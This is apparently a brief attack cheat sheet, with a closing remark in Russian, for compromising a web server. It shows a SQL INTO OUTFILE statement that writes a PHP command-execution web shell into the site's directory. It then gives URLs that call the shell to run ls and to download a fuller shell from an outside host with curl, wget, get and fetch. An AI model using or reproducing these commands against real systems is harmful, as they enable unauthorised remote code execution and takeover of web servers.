SELECT '<? system($_GET[cmd]); ?>' from mysql.user into outfile '/var/www/html/site/tmp/shel.php';

www.site.com/shel.php?cmd=ls
shel.php?cmd=curl --output /papka/na/servere/shell.php http://www.site.ru/shell.txt
shel.php?cmd=wget -o /papka/na/servere/shell.php http://www.site/shell.txt
shel.php?cmd=get http://www.site.ru/shell.txt > /papka/na/servere/shell.php
shel.php?cmd=fetch -o /papka/na/servere/shell.php http://www.site.ru/shell.txt

путь нужен полюбом